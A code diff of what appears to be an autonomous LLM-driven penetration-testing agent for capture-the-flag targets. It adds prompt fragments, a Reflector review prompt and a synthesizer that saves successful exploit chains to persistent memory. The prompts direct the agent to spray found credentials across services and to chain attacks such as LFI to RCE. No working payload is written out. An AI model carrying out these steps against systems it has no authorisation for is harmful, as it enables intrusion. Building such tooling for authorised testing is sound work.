flowLog("\u2461Main", "\u2190", "lastReflection (epistemic-check)", "EMPTY \u2014 \xA718 layer skipped");
|
|
13214
|
+
return "";
|
|
13215
|
+
}
|
|
13216
|
+
flowLog("\u2461Main", "\u2190", "lastReflection (epistemic-check)", `${state.lastReflection.length}B \u2705`);
|
|
13217
|
+
return `<epistemic-check>
|
|
13218
|
+
${state.lastReflection}
|
|
13219
|
+
</epistemic-check>`;
|
|
12684
13220
|
}
|
|
12685
13221
|
|
|
12686
13222
|
// src/agents/prompt-builder/fragments/intelligence.ts
|
|
@@ -12698,31 +13234,26 @@ function buildAttackIntelligenceFragment(state) {
|
|
|
12698
13234
|
const lines = [];
|
|
12699
13235
|
for (const target of targets) {
|
|
12700
13236
|
for (const port of target.ports) {
|
|
12701
|
-
const
|
|
12702
|
-
|
|
12703
|
-
const
|
|
12704
|
-
|
|
12705
|
-
version: port.version,
|
|
12706
|
-
port: port.port
|
|
12707
|
-
});
|
|
12708
|
-
lines.push(`[${target.ip}:${port.port}] ${port.service || "unknown"} (priority: ${priority}/100)`);
|
|
12709
|
-
attacks.forEach((a) => lines.push(` - ${a}`));
|
|
13237
|
+
const ctx = getServiceContext(port.service || "", port.port);
|
|
13238
|
+
const factStr = ctx.facts.length > 0 ? ` [${ctx.facts.join("; ")}]` : "";
|
|
13239
|
+
const versionStr = port.version ? ` v${port.version}` : "";
|
|
13240
|
+
lines.push(`${target.ip}:${port.port} ${port.service || "unknown"}${versionStr} category=${ctx.category}${factStr}`);
|
|
12710
13241
|
}
|
|
12711
13242
|
}
|
|
12712
13243
|
if (lines.length === 0) return "";
|
|
12713
|
-
return `<
|
|
12714
|
-
|
|
13244
|
+
return `<service-inventory>
|
|
13245
|
+
Discovered services \u2014 use get_owasp_knowledge, web_search, or get_web_attack_surface for attack ideas:
|
|
12715
13246
|
${lines.join("\n")}
|
|
12716
|
-
</
|
|
13247
|
+
</service-inventory>`;
|
|
12717
13248
|
}
|
|
12718
13249
|
|
|
12719
13250
|
// src/shared/utils/journal/reader.ts
|
|
12720
13251
|
import { readFileSync as readFileSync8, existsSync as existsSync13 } from "fs";
|
|
12721
|
-
import { join as
|
|
13252
|
+
import { join as join14 } from "path";
|
|
12722
13253
|
|
|
12723
13254
|
// src/shared/utils/journal/rotation.ts
|
|
12724
13255
|
import { existsSync as existsSync12, readdirSync as readdirSync3, statSync as statSync3, rmSync as rmSync2 } from "fs";
|
|
12725
|
-
import { join as
|
|
13256
|
+
import { join as join13 } from "path";
|
|
12726
13257
|
function parseTurnNumbers(turnsDir) {
|
|
12727
13258
|
if (!existsSync12(turnsDir)) return [];
|
|
12728
13259
|
return readdirSync3(turnsDir).filter((e) => e.startsWith(TURN_FOLDER_PREFIX) && /^\d+$/.test(e.slice(TURN_FOLDER_PREFIX.length))).map((e) => Number(e.slice(TURN_FOLDER_PREFIX.length)));
|
|
@@ -12731,12 +13262,12 @@ function rotateTurnRecords() {
|
|
|
12731
13262
|
try {
|
|
12732
13263
|
const turnsDir = WORKSPACE.TURNS;
|
|
12733
13264
|
if (!existsSync12(turnsDir)) return;
|
|
12734
|
-
const turnDirs = parseTurnNumbers(turnsDir).map((n) => `${TURN_FOLDER_PREFIX}${n}`).filter((e) => statSync3(
|
|
13265
|
+
const turnDirs = parseTurnNumbers(turnsDir).map((n) => `${TURN_FOLDER_PREFIX}${n}`).filter((e) => statSync3(join13(turnsDir, e)).isDirectory()).sort((a, b) => Number(a.slice(TURN_FOLDER_PREFIX.length)) - Number(b.slice(TURN_FOLDER_PREFIX.length)));
|
|
12735
13266
|
if (turnDirs.length > MEMORY_LIMITS.MAX_TURN_ENTRIES) {
|
|
12736
13267
|
const dirsToDel = turnDirs.slice(0, turnDirs.length - MEMORY_LIMITS.MAX_TURN_ENTRIES);
|
|
12737
13268
|
for (const dir of dirsToDel) {
|
|
12738
13269
|
try {
|
|
12739
|
-
rmSync2(
|
|
13270
|
+
rmSync2(join13(turnsDir, dir), { recursive: true, force: true });
|
|
12740
13271
|
} catch {
|
|
12741
13272
|
}
|
|
12742
13273
|
}
|
|
@@ -12755,7 +13286,7 @@ function readJournalSummary() {
|
|
|
12755
13286
|
const turnsDir = WORKSPACE.TURNS;
|
|
12756
13287
|
const turnDirs = parseTurnNumbers(turnsDir).sort((a, b) => b - a);
|
|
12757
13288
|
for (const turn of turnDirs) {
|
|
12758
|
-
const summaryPath =
|
|
13289
|
+
const summaryPath = join14(WORKSPACE.turnPath(turn), TURN_FILES.SUMMARY);
|
|
12759
13290
|
if (existsSync13(summaryPath)) {
|
|
12760
13291
|
return readFileSync8(summaryPath, "utf-8");
|
|
12761
13292
|
}
|
|
@@ -12772,7 +13303,7 @@ function getRecentEntries(count = MEMORY_LIMITS.MAX_TURN_ENTRIES) {
|
|
|
12772
13303
|
const entries = [];
|
|
12773
13304
|
for (const turn of turnDirs) {
|
|
12774
13305
|
try {
|
|
12775
|
-
const filePath =
|
|
13306
|
+
const filePath = join14(WORKSPACE.turnPath(turn), TURN_FILES.STRUCTURED);
|
|
12776
13307
|
if (existsSync13(filePath)) {
|
|
12777
13308
|
const raw = readFileSync8(filePath, "utf-8");
|
|
12778
13309
|
entries.push(JSON.parse(raw));
|
|
@@ -12798,7 +13329,7 @@ function getNextTurnNumber() {
|
|
|
12798
13329
|
|
|
12799
13330
|
// src/shared/utils/journal/summary.ts
|
|
12800
13331
|
import { writeFileSync as writeFileSync9 } from "fs";
|
|
12801
|
-
import { join as
|
|
13332
|
+
import { join as join15 } from "path";
|
|
12802
13333
|
|
|
12803
13334
|
// src/shared/utils/journal/summary-collector.ts
|
|
12804
13335
|
function collectSummaryBuckets(entries) {
|
|
@@ -12903,7 +13434,7 @@ function regenerateJournalSummary() {
|
|
|
12903
13434
|
const turnDir = WORKSPACE.turnPath(latestTurn);
|
|
12904
13435
|
ensureDirExists(turnDir);
|
|
12905
13436
|
const summary = buildSummaryFromEntries(entries);
|
|
12906
|
-
const summaryPath =
|
|
13437
|
+
const summaryPath = join15(turnDir, TURN_FILES.SUMMARY);
|
|
12907
13438
|
writeFileSync9(summaryPath, summary, "utf-8");
|
|
12908
13439
|
debugLog("general", "Journal summary regenerated", {
|
|
12909
13440
|
entries: entries.length,
|
|
@@ -13042,7 +13573,7 @@ var PromptBuilder = class {
|
|
|
13042
13573
|
* 4. Phase-relevant techniques — only attack techniques for current phase (~4-8K tok)
|
|
13043
13574
|
* 5. Scope constraints
|
|
13044
13575
|
* 6. Current state (targets, findings, loot, active processes)
|
|
13045
|
-
* 7.
|
|
13576
|
+
* 7. Todo list
|
|
13046
13577
|
* 8. Time awareness + adaptive strategy (#8)
|
|
13047
13578
|
* 9. Challenge analysis (#2: Auto-Prompter)
|
|
13048
13579
|
* 10. Attack graph (#6: recommended attack chains)
|
|
@@ -13070,6 +13601,8 @@ var PromptBuilder = class {
|
|
|
13070
13601
|
buildAttackGraphFragment(this.state),
|
|
13071
13602
|
buildAttackIntelligenceFragment(this.state),
|
|
13072
13603
|
buildWorkingMemoryFragment(this.state),
|
|
13604
|
+
// §18: Reflector 자기인식 결과 주입 (turn N-1 → turn N)
|
|
13605
|
+
buildEpistemicCheckFragment(this.state),
|
|
13073
13606
|
buildEpisodicMemoryFragment(this.state),
|
|
13074
13607
|
buildDynamicTechniquesFragment(this.state),
|
|
13075
13608
|
buildPersistentMemoryFragment(this.state),
|
|
@@ -13216,12 +13749,21 @@ var REFLECTOR_SYSTEM_PROMPT = `You are a tactical reviewer for a penetration tes
|
|
|
13216
13749
|
Review ALL actions from this turn \u2014 successes AND failures.
|
|
13217
13750
|
|
|
13218
13751
|
1. ASSESSMENT: What did this turn accomplish? Rate: HIGH / MED / LOW / NONE.
|
|
13219
|
-
2. SUCCESSES: What worked? Can this pattern be replicated
|
|
13752
|
+
2. SUCCESSES: What worked? Can this pattern be replicated on other services/endpoints?
|
|
13220
13753
|
3. FAILURES: What failed? Is this a repeated pattern? If so \u2192 STOP this approach.
|
|
13221
|
-
4. BLIND SPOTS
|
|
13222
|
-
|
|
13754
|
+
4. BLIND SPOTS \u2014 answer each explicitly:
|
|
13755
|
+
a) What services/ports/endpoints have been DISCOVERED but NOT YET attacked?
|
|
13756
|
+
b) What credentials or tokens have been found but NOT yet sprayed on other services?
|
|
13757
|
+
c) Is there a SIMPLER explanation for the current behavior? (misconfiguration vs. complex vuln)
|
|
13758
|
+
d) Are we drilling too deep on one surface while ignoring others?
|
|
13759
|
+
e) Could a short custom script (Python/bash) accomplish what tool attempts have failed to do?
|
|
13760
|
+
f) Is there any finding from a PREVIOUS turn that was noted but never followed up on?
|
|
13761
|
+
g) What would an experienced human tester try RIGHT NOW that hasn't been attempted?
|
|
13762
|
+
5. NEXT PRIORITY: Single most valuable next action with concrete reasoning.
|
|
13763
|
+
6. EPISTEMIC CHECK (\xA718): Are any current findings marked \u26A0\uFE0F unverified-chain or depth\u22652?
|
|
13764
|
+
If yes \u2192 recommend direct verification (whoami, curl, targeted payload) BEFORE chaining further attacks on those findings.
|
|
13223
13765
|
|
|
13224
|
-
|
|
13766
|
+
`;
|
|
13225
13767
|
var Reflector = class extends AuxiliaryLLMBase {
|
|
13226
13768
|
constructor(llm) {
|
|
13227
13769
|
super(llm, {
|
|
@@ -13242,7 +13784,7 @@ var Reflector = class extends AuxiliaryLLMBase {
|
|
|
13242
13784
|
success: true
|
|
13243
13785
|
};
|
|
13244
13786
|
}
|
|
13245
|
-
createFailureOutput(
|
|
13787
|
+
createFailureOutput(_reason) {
|
|
13246
13788
|
return {
|
|
13247
13789
|
reflection: "",
|
|
13248
13790
|
success: false
|
|
@@ -13277,13 +13819,13 @@ var SummaryRegenerator = class extends AuxiliaryLLMBase {
|
|
|
13277
13819
|
}
|
|
13278
13820
|
formatInput(input) {
|
|
13279
13821
|
if (input.existingSummary) {
|
|
13280
|
-
return
|
|
13822
|
+
return `Previous summary:
|
|
13281
13823
|
${input.existingSummary}
|
|
13282
13824
|
|
|
13283
|
-
|
|
13825
|
+
Current turn:
|
|
13284
13826
|
${input.turnData}`;
|
|
13285
13827
|
} else {
|
|
13286
|
-
return
|
|
13828
|
+
return `First turn data:
|
|
13287
13829
|
${input.turnData}`;
|
|
13288
13830
|
}
|
|
13289
13831
|
}
|
|
@@ -13304,6 +13846,56 @@ function createSummaryRegenerator(llm) {
|
|
|
13304
13846
|
return new SummaryRegenerator(llm);
|
|
13305
13847
|
}
|
|
13306
13848
|
|
|
13849
|
+
// src/engine/auxiliary-llm/playbook-synthesizer.ts
|
|
13850
|
+
var PLAYBOOK_SYNTHESIZER_SYSTEM_PROMPT = `You are a penetration testing knowledge distiller.
|
|
13851
|
+
Given the steps of a successful attack chain, write ONE concise sentence (\u2264120 characters) capturing the REUSABLE PATTERN.
|
|
13852
|
+
|
|
13853
|
+
Rules:
|
|
13854
|
+
- Abstract away specific IPs, ports, file paths \u2014 keep service names and techniques
|
|
13855
|
+
- Use \u2192 to separate attack steps (e.g. "LFI \u2192 log poisoning \u2192 RCE via PHP session file")
|
|
13856
|
+
- Focus on WHAT worked, not WHO or WHEN
|
|
13857
|
+
- If the chain is trivial (e.g. single nmap scan), respond with: SKIP
|
|
13858
|
+
- No preamble, no explanation \u2014 just the one-line pattern or SKIP`;
|
|
13859
|
+
var PlaybookSynthesizer = class extends AuxiliaryLLMBase {
|
|
13860
|
+
constructor(llm) {
|
|
13861
|
+
super(llm, {
|
|
13862
|
+
systemPrompt: PLAYBOOK_SYNTHESIZER_SYSTEM_PROMPT,
|
|
13863
|
+
logErrors: true
|
|
13864
|
+
});
|
|
13865
|
+
}
|
|
13866
|
+
formatInput(input) {
|
|
13867
|
+
const nodeLines = input.succeededNodes.map((n) => ` [${n.type}] ${n.label}${n.technique ? ` (technique: ${n.technique})` : ""}`).join("\n");
|
|
13868
|
+
const edgeActions = input.succeededEdges.map((e) => e.action).filter(Boolean).slice(0, 8);
|
|
13869
|
+
const lines = [
|
|
13870
|
+
`SERVICE PROFILE: ${input.serviceProfile || "unknown"}`,
|
|
13871
|
+
"",
|
|
13872
|
+
"SUCCEEDED ATTACK NODES:",
|
|
13873
|
+
nodeLines || " (none)"
|
|
13874
|
+
];
|
|
13875
|
+
if (edgeActions.length > 0) {
|
|
13876
|
+
lines.push("", "ATTACK ACTIONS (edges):", ...edgeActions.map((a) => ` \u2192 ${a}`));
|
|
13877
|
+
}
|
|
13878
|
+
if (input.existingChainSummary) {
|
|
13879
|
+
lines.push("", `EXISTING SUMMARY (regex-based, for reference): ${input.existingChainSummary}`);
|
|
13880
|
+
}
|
|
13881
|
+
return lines.join("\n");
|
|
13882
|
+
}
|
|
13883
|
+
parseOutput(response) {
|
|
13884
|
+
const trimmed = response.trim();
|
|
13885
|
+
if (trimmed.toUpperCase() === "SKIP" || trimmed.length === 0) {
|
|
13886
|
+
return { playbookSummary: "", success: false };
|
|
13887
|
+
}
|
|
13888
|
+
const summary = trimmed.length > 120 ? trimmed.slice(0, 117) + "..." : trimmed;
|
|
13889
|
+
return { playbookSummary: summary, success: true };
|
|
13890
|
+
}
|
|
13891
|
+
createFailureOutput(_reason) {
|
|
13892
|
+
return { playbookSummary: "", success: false };
|
|
13893
|
+
}
|
|
13894
|
+
};
|
|
13895
|
+
function createPlaybookSynthesizer(llm) {
|
|
13896
|
+
return new PlaybookSynthesizer(llm);
|
|
13897
|
+
}
|
|
13898
|
+
|
|
13307
13899
|
// src/agents/strategist/constants.ts
|
|
13308
13900
|
var CACHE_TTL_MS = 3 * 60 * 1e3;
|
|
13309
13901
|
var STALL_TURNS_THRESHOLD = 2;
|
|
@@ -13370,6 +13962,9 @@ function buildInput(state) {
|
|
|
13370
13962
|
sections.push("");
|
|
13371
13963
|
sections.push("## Failed Attempts (DO NOT REPEAT THESE)");
|
|
13372
13964
|
sections.push(failures);
|
|
13965
|
+
flowLog("\u2460Strategist", "\u2190", "WorkingMemory", `${failures.length}B`);
|
|
13966
|
+
} else {
|
|
13967
|
+
flowLog("\u2460Strategist", "\u2190", "WorkingMemory", "EMPTY");
|
|
13373
13968
|
}
|
|
13374
13969
|
try {
|
|
13375
13970
|
const journalSummary = readJournalSummary();
|
|
@@ -13377,6 +13972,9 @@ function buildInput(state) {
|
|
|
13377
13972
|
sections.push("");
|
|
13378
13973
|
sections.push("## Session Journal (past turns summary)");
|
|
13379
13974
|
sections.push(journalSummary);
|
|
13975
|
+
flowLog("\u2460Strategist", "\u2190", "summary.md", `${journalSummary.length}B \u2705`);
|
|
13976
|
+
} else {
|
|
13977
|
+
flowLog("\u2460Strategist", "\u2190", "summary.md", "EMPTY \u26A0\uFE0F");
|
|
13380
13978
|
}
|
|
13381
13979
|
} catch {
|
|
13382
13980
|
}
|
|
@@ -13385,6 +13983,7 @@ function buildInput(state) {
|
|
|
13385
13983
|
sections.push("");
|
|
13386
13984
|
sections.push("## Attack Graph");
|
|
13387
13985
|
sections.push(graph);
|
|
13986
|
+
flowLog("\u2460Strategist", "\u2190", "AttackGraph", `${graph.length}B`);
|
|
13388
13987
|
}
|
|
13389
13988
|
const timeline = state.episodicMemory.toPrompt();
|
|
13390
13989
|
if (timeline) {
|
|
@@ -13404,8 +14003,9 @@ function buildInput(state) {
|
|
|
13404
14003
|
const analysis = state.getChallengeAnalysis();
|
|
13405
14004
|
if (analysis && analysis.primaryType !== "unknown") {
|
|
13406
14005
|
sections.push("");
|
|
13407
|
-
sections.push(`## Challenge Type
|
|
13408
|
-
sections.push(analysis.
|
|
14006
|
+
sections.push(`## Challenge Type`);
|
|
14007
|
+
sections.push(`${analysis.primaryType.toUpperCase()} (confidence: ${(analysis.confidence * 100).toFixed(0)}%)`);
|
|
14008
|
+
sections.push(`Use get_owasp_knowledge("${analysis.primaryType}") to determine your attack approach.`);
|
|
13409
14009
|
}
|
|
13410
14010
|
return sections.join("\n");
|
|
13411
14011
|
}
|
|
@@ -13428,10 +14028,10 @@ function formatForPrompt(directive, isStale = false) {
|
|
|
13428
14028
|
|
|
13429
14029
|
// src/agents/strategist/prompt-loader.ts
|
|
13430
14030
|
import { readFileSync as readFileSync9, existsSync as existsSync14 } from "fs";
|
|
13431
|
-
import { join as
|
|
14031
|
+
import { join as join16, dirname as dirname5 } from "path";
|
|
13432
14032
|
import { fileURLToPath as fileURLToPath3 } from "url";
|
|
13433
14033
|
var __dirname3 = dirname5(fileURLToPath3(import.meta.url));
|
|
13434
|
-
var STRATEGIST_PROMPT_PATH =
|
|
14034
|
+
var STRATEGIST_PROMPT_PATH = join16(__dirname3, "../prompts", "strategist-system.md");
|
|
13435
14035
|
function loadSystemPrompt() {
|
|
13436
14036
|
try {
|
|
13437
14037
|
if (existsSync14(STRATEGIST_PROMPT_PATH)) {
|
|
@@ -13832,7 +14432,7 @@ async function processReflection(toolJournal, memo14, phase, reflector) {
|
|
|
13832
14432
|
|
|
13833
14433
|
// src/agents/main-agent/turn-recorder.ts
|
|
13834
14434
|
import { writeFileSync as writeFileSync10, existsSync as existsSync15, readFileSync as readFileSync10 } from "fs";
|
|
13835
|
-
import { join as
|
|
14435
|
+
import { join as join17 } from "path";
|
|
13836
14436
|
async function recordTurn(context) {
|
|
13837
14437
|
const { turnCounter, phase, toolJournal, memo: memo14, reflections, summaryRegenerator } = context;
|
|
13838
14438
|
if (toolJournal.length === 0) {
|
|
@@ -13847,14 +14447,16 @@ async function recordTurn(context) {
|
|
|
13847
14447
|
memo: memo14,
|
|
13848
14448
|
reflection: reflections.length > 0 ? reflections.join(" | ") : memo14.nextSteps.join("; ")
|
|
13849
14449
|
};
|
|
13850
|
-
|
|
13851
|
-
await
|
|
14450
|
+
const entryCtx = { entry, journalTools: toolJournal, memo: memo14, phase, reflections };
|
|
14451
|
+
await createTurnArchive(turnCounter, entryCtx);
|
|
14452
|
+
await regenerateSummary(turnCounter, summaryRegenerator, entryCtx);
|
|
13852
14453
|
rotateTurnRecords();
|
|
13853
14454
|
} catch {
|
|
13854
14455
|
}
|
|
13855
14456
|
return turnCounter + 1;
|
|
13856
14457
|
}
|
|
13857
|
-
async function createTurnArchive(turnCounter,
|
|
14458
|
+
async function createTurnArchive(turnCounter, ctx) {
|
|
14459
|
+
const { entry, journalTools, memo: memo14, phase } = ctx;
|
|
13858
14460
|
try {
|
|
13859
14461
|
const turnDir = WORKSPACE.turnPath(turnCounter);
|
|
13860
14462
|
const toolsDir = WORKSPACE.turnToolsPath(turnCounter);
|
|
@@ -13868,8 +14470,8 @@ async function createTurnArchive(turnCounter, entry, journalTools, memo14, phase
|
|
|
13868
14470
|
memo: memo14,
|
|
13869
14471
|
reflection: entry.reflection
|
|
13870
14472
|
});
|
|
13871
|
-
writeFileSync10(
|
|
13872
|
-
writeFileSync10(
|
|
14473
|
+
writeFileSync10(join17(turnDir, TURN_FILES.RECORD), turnContent, "utf-8");
|
|
14474
|
+
writeFileSync10(join17(turnDir, TURN_FILES.STRUCTURED), JSON.stringify(entry, null, 2), "utf-8");
|
|
13873
14475
|
writeAnalystFile(turnDir, memo14);
|
|
13874
14476
|
} catch {
|
|
13875
14477
|
}
|
|
@@ -13883,17 +14485,24 @@ function writeAnalystFile(turnDir, memo14) {
|
|
|
13883
14485
|
if (memo14.suspicions.length > 0) memoLines.push("## Suspicious", ...memo14.suspicions.map((s) => `- ${s}`), "");
|
|
13884
14486
|
if (memo14.nextSteps.length > 0) memoLines.push("## Next Steps", ...memo14.nextSteps.map((n) => `- ${n}`), "");
|
|
13885
14487
|
if (memoLines.length > 0) {
|
|
13886
|
-
writeFileSync10(
|
|
14488
|
+
writeFileSync10(join17(turnDir, TURN_FILES.ANALYST), memoLines.join("\n"), "utf-8");
|
|
14489
|
+
flowLog(
|
|
14490
|
+
"\u2462Analyst",
|
|
14491
|
+
"\u2192",
|
|
14492
|
+
`archive/turn-${turnDir.split("/").pop()}/analyst.md`,
|
|
14493
|
+
`findings:${memo14.keyFindings.length} creds:${memo14.credentials.length} vectors:${memo14.attackVectors.length} failures:${memo14.failures.length}`
|
|
14494
|
+
);
|
|
13887
14495
|
}
|
|
13888
14496
|
}
|
|
13889
|
-
async function regenerateSummary(turnCounter, summaryRegenerator,
|
|
14497
|
+
async function regenerateSummary(turnCounter, summaryRegenerator, ctx) {
|
|
14498
|
+
const { entry, journalTools, memo: memo14, phase } = ctx;
|
|
13890
14499
|
try {
|
|
13891
14500
|
const turnDir = WORKSPACE.turnPath(turnCounter);
|
|
13892
|
-
const summaryPath =
|
|
14501
|
+
const summaryPath = join17(turnDir, TURN_FILES.SUMMARY);
|
|
13893
14502
|
const prevTurn = turnCounter - 1;
|
|
13894
14503
|
let existingSummary = null;
|
|
13895
14504
|
if (prevTurn >= 1) {
|
|
13896
|
-
const prevSummaryPath =
|
|
14505
|
+
const prevSummaryPath = join17(WORKSPACE.turnPath(prevTurn), TURN_FILES.SUMMARY);
|
|
13897
14506
|
if (existsSync15(prevSummaryPath)) {
|
|
13898
14507
|
existingSummary = readFileSync10(prevSummaryPath, "utf-8");
|
|
13899
14508
|
}
|
|
@@ -13913,6 +14522,9 @@ async function regenerateSummary(turnCounter, summaryRegenerator, entry, journal
|
|
|
13913
14522
|
if (summaryResult.success && summaryResult.summary) {
|
|
13914
14523
|
ensureDirExists(turnDir);
|
|
13915
14524
|
writeFileSync10(summaryPath, summaryResult.summary, "utf-8");
|
|
14525
|
+
flowLog("\u2465SummaryRegen", "\u2192", "summary.md", `${summaryResult.summary.length}B \u2192 turn:${turnCounter}`);
|
|
14526
|
+
} else {
|
|
14527
|
+
flowLog("\u2465SummaryRegen", "\u2192", "summary.md", "SKIPPED (empty result)");
|
|
13916
14528
|
}
|
|
13917
14529
|
} catch {
|
|
13918
14530
|
regenerateJournalSummary();
|
|
@@ -13942,6 +14554,38 @@ var session = {
|
|
|
13942
14554
|
load: (state) => loadState(state)
|
|
13943
14555
|
};
|
|
13944
14556
|
|
|
14557
|
+
// src/agents/main-agent/playbook-handler.ts
|
|
14558
|
+
async function synthesizeAndSavePlaybook(state, synthesizer) {
|
|
14559
|
+
try {
|
|
14560
|
+
const nodes = state.attackGraph.getAllNodes();
|
|
14561
|
+
const edges = state.attackGraph.getAllEdges();
|
|
14562
|
+
const succeededNodes = nodes.filter((n) => n.status === NODE_STATUS.SUCCEEDED).map((n) => ({ label: n.label, type: n.type, technique: n.technique }));
|
|
14563
|
+
const succeededEdges = edges.filter((e) => e.status === EDGE_STATUS.SUCCEEDED).map((e) => ({ action: e.action }));
|
|
14564
|
+
if (succeededNodes.length < 2) return;
|
|
14565
|
+
const serviceProfile = nodes.filter((n) => n.type === NODE_TYPE.SERVICE && n.status === NODE_STATUS.SUCCEEDED).map((n) => n.label.replace(/^service:/i, "").replace(/\b\d{1,3}(\.\d{1,3}){3}(:\d+)?\b/g, "").trim()).filter(Boolean).join(" + ") || "unknown";
|
|
14566
|
+
const nodeMap = new Map(nodes.map((n) => [n.id, n]));
|
|
14567
|
+
const existingChain = extractSuccessfulChain(nodeMap, edges);
|
|
14568
|
+
const existingChainSummary = existingChain?.chainSummary ?? "";
|
|
14569
|
+
const result = await synthesizer.execute({
|
|
14570
|
+
succeededNodes,
|
|
14571
|
+
succeededEdges,
|
|
14572
|
+
serviceProfile,
|
|
14573
|
+
existingChainSummary
|
|
14574
|
+
});
|
|
14575
|
+
if (result.success && result.playbookSummary) {
|
|
14576
|
+
const toolsUsed = [...new Set(
|
|
14577
|
+
succeededNodes.map((n) => n.technique?.split(" ")[0]).filter(Boolean)
|
|
14578
|
+
)];
|
|
14579
|
+
state.persistentMemory.recordExploitChain(
|
|
14580
|
+
serviceProfile,
|
|
14581
|
+
result.playbookSummary,
|
|
14582
|
+
toolsUsed
|
|
14583
|
+
);
|
|
14584
|
+
}
|
|
14585
|
+
} catch {
|
|
14586
|
+
}
|
|
14587
|
+
}
|
|
14588
|
+
|
|
13945
14589
|
// src/agents/main-agent/core.ts
|
|
13946
14590
|
var MainAgent = class extends CoreAgent {
|
|
13947
14591
|
promptBuilder;
|
|
@@ -13954,6 +14598,7 @@ var MainAgent = class extends CoreAgent {
|
|
|
13954
14598
|
contextExtractor;
|
|
13955
14599
|
reflector;
|
|
13956
14600
|
summaryRegenerator;
|
|
14601
|
+
playbookSynthesizer;
|
|
13957
14602
|
constructor(state, events, toolRegistry, approvalGate, scopeGuard) {
|
|
13958
14603
|
super(AGENT_ROLES.ORCHESTRATOR, state, events, toolRegistry);
|
|
13959
14604
|
this.approvalGate = approvalGate;
|
|
@@ -13964,6 +14609,7 @@ var MainAgent = class extends CoreAgent {
|
|
|
13964
14609
|
this.contextExtractor = createContextExtractor(this.llm);
|
|
13965
14610
|
this.reflector = createReflector(this.llm);
|
|
13966
14611
|
this.summaryRegenerator = createSummaryRegenerator(this.llm);
|
|
14612
|
+
this.playbookSynthesizer = createPlaybookSynthesizer(this.llm);
|
|
13967
14613
|
}
|
|
13968
14614
|
async execute(userInput) {
|
|
13969
14615
|
this.userInput = userInput;
|
|
@@ -13992,6 +14638,7 @@ var MainAgent = class extends CoreAgent {
|
|
|
13992
14638
|
messages.push({ role: "user", content: userMessage });
|
|
13993
14639
|
}
|
|
13994
14640
|
}
|
|
14641
|
+
const flagsBefore = this.state.getFlags().length;
|
|
13995
14642
|
const dynamicPrompt = await this.getCurrentPrompt();
|
|
13996
14643
|
const result = await super.step(iteration, messages, dynamicPrompt, progress);
|
|
13997
14644
|
const turnToolJournal = this.getTurnToolJournal();
|
|
@@ -13999,7 +14646,19 @@ var MainAgent = class extends CoreAgent {
|
|
|
13999
14646
|
const turnReflections = [];
|
|
14000
14647
|
await processContextExtraction(messages, this.contextExtractor);
|
|
14001
14648
|
const reflection = await processReflection(turnToolJournal, turnMemo, this.state.getPhase(), this.reflector);
|
|
14002
|
-
if (reflection)
|
|
14649
|
+
if (reflection) {
|
|
14650
|
+
turnReflections.push(reflection);
|
|
14651
|
+
this.state.lastReflection = reflection;
|
|
14652
|
+
flowLog("\u2464Reflector", "\u2192", "lastReflection (RAM)", `${reflection.length}B \u2192 next-turn \u2461Main`);
|
|
14653
|
+
} else if (turnToolJournal.length > 0) {
|
|
14654
|
+
this.state.lastReflection = null;
|
|
14655
|
+
flowLog("\u2464Reflector", "\u2192", "lastReflection (RAM)", "CLEARED (no reflection)");
|
|
14656
|
+
}
|
|
14657
|
+
const flagsAfter = this.state.getFlags().length;
|
|
14658
|
+
if (flagsAfter > flagsBefore) {
|
|
14659
|
+
flowLog("\u2466PlaybookSynth", "\u2192", "PersistentMemory", `flag captured (${flagsAfter - flagsBefore} new)`);
|
|
14660
|
+
await synthesizeAndSavePlaybook(this.state, this.playbookSynthesizer);
|
|
14661
|
+
}
|
|
14003
14662
|
this.turnCounter = await recordTurn({
|
|
14004
14663
|
turnCounter: this.turnCounter,
|
|
14005
14664
|
phase: this.state.getPhase(),
|
|
@@ -14979,48 +15638,30 @@ var formatServiceLabel = (target, port) => {
|
|
|
14979
15638
|
var formatFindingsWithFlags = (findings, flags) => {
|
|
14980
15639
|
const findingsOutput = formatFindings(findings);
|
|
14981
15640
|
const flagsOutput = formatFlags(flags);
|
|
14982
|
-
if (flagsOutput) {
|
|
14983
|
-
return `${findingsOutput}
|
|
15641
|
+
if (flagsOutput) return `${findingsOutput}
|
|
14984
15642
|
${flagsOutput}`;
|
|
14985
|
-
}
|
|
14986
15643
|
return findingsOutput;
|
|
14987
15644
|
};
|
|
14988
|
-
|
|
15645
|
+
function formatHostSection(targets, hostNodes, hostCount, w) {
|
|
14989
15646
|
const lines = [];
|
|
14990
|
-
const w = getBoxWidth();
|
|
14991
|
-
const innerDash = w - 2;
|
|
14992
|
-
const targets = state.getAllTargets();
|
|
14993
|
-
const graphStats = state.attackGraph.getStats();
|
|
14994
|
-
const allNodes = state.attackGraph.getAllNodes();
|
|
14995
|
-
const hostNodes = allNodes.filter((n) => n.type === NODE_TYPE.HOST);
|
|
14996
|
-
const serviceNodes = allNodes.filter((n) => n.type === NODE_TYPE.SERVICE);
|
|
14997
|
-
const vulnNodes = allNodes.filter((n) => n.type === NODE_TYPE.VULNERABILITY);
|
|
14998
|
-
const hostCount = hostNodes.length || targets.length;
|
|
14999
|
-
const serviceCount = serviceNodes.length || targets.reduce((sum, t) => sum + t.ports.length, 0);
|
|
15000
|
-
const vulnCount = findings.length;
|
|
15001
|
-
const topTitle = "\u2500\u2500\u2500 Attack Graph ";
|
|
15002
|
-
lines.push(`\u250C${topTitle}${"\u2500".repeat(Math.max(0, innerDash - topTitle.length))}\u2510`);
|
|
15003
|
-
lines.push(boxLine(`\u{1F5A5} ${hostCount} \u26A0 ${vulnCount} \u2699 ${serviceCount}`, w));
|
|
15004
|
-
lines.push(boxLine("", w));
|
|
15005
15647
|
lines.push(boxLine(`\u{1F5A5} HOST (${hostCount})`, w));
|
|
15006
15648
|
if (targets.length > 0) {
|
|
15007
15649
|
for (const t of targets.slice(0, 5)) {
|
|
15008
15650
|
lines.push(boxLine(` \u25CB ${formatTargetLine(t)}`, w));
|
|
15009
15651
|
}
|
|
15010
|
-
if (targets.length > 5) {
|
|
15011
|
-
lines.push(boxLine(` ... and ${targets.length - 5} more hosts`, w));
|
|
15012
|
-
}
|
|
15652
|
+
if (targets.length > 5) lines.push(boxLine(` ... and ${targets.length - 5} more hosts`, w));
|
|
15013
15653
|
} else if (hostNodes.length > 0) {
|
|
15014
15654
|
for (const node of hostNodes.slice(0, 5)) {
|
|
15015
15655
|
lines.push(boxLine(` \u25CB ${node.label}`, w));
|
|
15016
15656
|
}
|
|
15017
|
-
if (hostNodes.length > 5) {
|
|
15018
|
-
lines.push(boxLine(` ... and ${hostNodes.length - 5} more hosts`, w));
|
|
15019
|
-
}
|
|
15657
|
+
